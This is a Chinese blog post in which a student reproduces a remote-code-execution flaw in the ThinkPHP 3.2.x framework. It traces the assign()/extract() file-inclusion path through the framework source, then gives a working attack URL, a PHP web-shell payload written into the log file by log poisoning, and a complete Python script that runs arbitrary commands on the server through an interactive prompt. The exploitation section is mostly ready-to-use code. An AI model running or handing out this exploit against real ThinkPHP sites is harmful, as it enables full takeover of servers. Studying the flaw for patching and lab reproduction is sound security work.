【漏洞复现】ThinkPHP3.2.x RCE 漏洞复现

目录

一,漏洞描述

二,漏洞发现

三、漏洞利用


        本人是一个小白,目前大三计算机专业,出于对网络安全的热爱自学了好久。在学习网络安全的路上简直坎坷,有时候迷茫有时候又找到了方向,全凭自己摸索。啊,真希望有个老师傅能带带我。这也是我第一次复现漏洞,还不会thinkphp框架,就先看视频自学了几天,才把这个漏洞琢磨透。。。结合网上其他文章修改总结了一下。要是有错误或者不合理的地方,也请多多担待。

一,漏洞描述

描述: ThinkPHP是一套开源的、基于PHP的轻量级Web应用开发框架。 该漏洞是在受影响的版本中,业务代码中如果模板赋值方法assign的第一个参数可控,则可导致模板文件路径变量被覆盖为携带攻击代码的文件路径,造成任意文件包含,执行任意代码。

二,漏洞发现

攻击url:http://192.168.43.116/thinkphp_3.2.3_full/index.php?m=Home&c=Index&a=index&value[_filename]=./Application/Runtime/Logs/common/22_04_06.log

这里m参数指定文件夹,c参数指定控制器,a参数指定方法,value参数就是我们的可控参数。还有几种方式可以访问。

//域名/index.php?m=Home&c=User&a=add(普通模式)
//域名/index.php/Home/Test/index/id/123/page/100(pathinfo)
//域名/Home/Test/index/id....(rewrite)注:需要配置
//域名/index.php?s=/Home/Test/index&id=123&page=100(兼容模式)

最后我们通过代码审计发现,只要提前将$_fliename变量进行覆盖,就会导致文件包含我们在value传入的日志文件路径。提前在url里面写入恶意代码,导致代码执行。

先跟进Application/Home/Controller/IndexController.class.php,功能代码中的assign方法中第一个变量为可控变量,用人话说就是用get方式传递值赋给value,display方法是展示视图下index.html。

跟进ThinkPHP/Library/Think/View.class.php,可控变量进入assign方法赋值给$this→tVar变量。

assign函数的用处就完事了,现在我们回到Application/Home/Controller/IndexController.class.php

跟进display函数

跟进ThinkPHP/Library/Think/View.class.php,display方法开始解析并获取模板文件内容,如果在display里面不传index参数,thinkphp也会更具类名自动加index.html,前提是模板名和类名相同。

进入fetch方法,传入的参数为空时会根据配置获取默认的模板文件位置 ./Application/Home/View/Index/index.html,之后系统配置的默认模板引擎为think,所以会进入else分支,获取$this→tVar变量值赋值给$params,$this→tVar是assign这个函数刚刚赋值的,就是传入的可控制的变量,之后进入Hook类的listen方法

进入listen方法,跟进ThinkPHP/Library/Think/Hook.class.php,发现listen直接将参数给到了exec函数做处理,包括能控制的变量也进去了,进入exec方法

进入exec方法中,处理后调用Behavior\ParseTemplateBehavior类中的run方法处理$params这个带有日志文件路径的值

进入run方法,跟进ThinkPHP/Library/Behavior/ParseTemplateBehavior.class.php,进入else分支调用Think\Template类中的fetch方法对变量$_data进行处理,$_data['var']就是刚开始assign函数处理的$this->tVar

跟进ThinkPHP/Library/Think/Template.class.php,获取缓存文件路径后进入Storage的load方法中

跟进到ThinkPHP/Library/Think/Storage/Driver/File.class.php的load方法中,$_filename为之前获取的缓存文件路径,$vars则为之前带有_filename=日志文件路径的数组,$vars不为空则使用extract方法的EXTR_OVERWRITE默认描述对变量值进行覆盖,之后include该日志文件路径,导致文件包含,触发ThinkPHP 3.x Log RCE漏洞

三、漏洞利用

手动利用:

第一步:用burp抓包后 ,改为http://192.168.43.116/thinkphp_3.2.3_full/index.php?m=-->

访问url:http://192.168.43.116/thinkphp_3.2.3_full/index.php?m=Home&c=Index&a=index&value[_filename]=./Application/Runtime/Logs/common/22_04_06.log。展示phpinfo信息

exp:

import requests
import optparse
import re
def cmd(url):
    try:
        while 1:
            cmdlist=input("#")
            if cmdlist!='q':
                url_add=url+f"?m=Home&c=Index&a=index&value[_filename]=./Application/Runtime/Logs/common/22_04_09.log&cmd={cmdlist}"
                headers = {
                    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.25 Safari/537.36 Core/1.70.3877.400 QQBrowser/10.8.4507.400",
                }
                content=requests.get(url=url_add,headers=headers)
                contents=content.text
                obj=re.compile(r"m=-->(?P<cmds>.*?)INFO:",re.S)
                result=obj.search(contents)
                print(result.group("cmds"))

            else:
                break
    except:
        print("wrong!!!")

if __name__=="__main__":
    parser = optparse.OptionParser()
    parser.usage = "ThinkPHP3.2.x RCE利用.py -u url"
    parser.add_option("-u", "--url", help="url to test ThinkPHP3.2.x RCE", action="store", type="string", metavar="URL", dest="url")
    (options, args) = parser.parse_args()
    url = options.url
    if url:
        cmd(url)
    else:
        url=input("请输入url:")
        cmd(url)

前提是将url?m=--><?php system($_GET[''cmd]);?>执行后写入日志文件中,注意日志文件名对应的时间。

  • 2
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
ThinkPHP是一个开源的PHP开发框架,它的版本3.2.x是一个老版本,存在远程命令执行(RCE漏洞。这个漏洞允许攻击者通过构造恶意请求来执行任意的系统命令,从而获得对应用服务器的完全控制权限。 这个漏洞的原因是在ThinkPHP 3.2.x版本的核心代码中没有对用户的输入进行充分的过滤和校验。攻击者可以利用这个漏洞来执行各种恶意操作,比如上传恶意文件、修改数据库内容或者获取系统敏感信息等。 为了利用这个漏洞,攻击者需要构造一个特殊的请求,其中包含可执行的系统命令。然后将这个请求发送到受影响的应用程序的漏洞点上。当应用程序在处理这个请求时,会将其中的系统命令当作可执行代码来执行,最终导致攻击者获取对应用服务器的控制权限。 为了修复这个漏洞,用户可以升级到最新版本的ThinkPHP框架。在最新版本中,开发者已经修复了这个漏洞,并加强了对用户输入的过滤和校验。此外,用户还可以根据自己的需求对应用程序进行进一步的安全加固,比如限制上传文件的类型和大小,对用户输入进行严格的过滤和校验等。 总之,ThinkPHP 3.2.x版本存在远程命令执行漏洞,攻击者可以通过构造恶意请求来执行任意的系统命令。为了修复这个漏洞,用户可以升级到最新版本的ThinkPHP框架,并加强应用程序的安全加固措施。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Edward Hopper

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值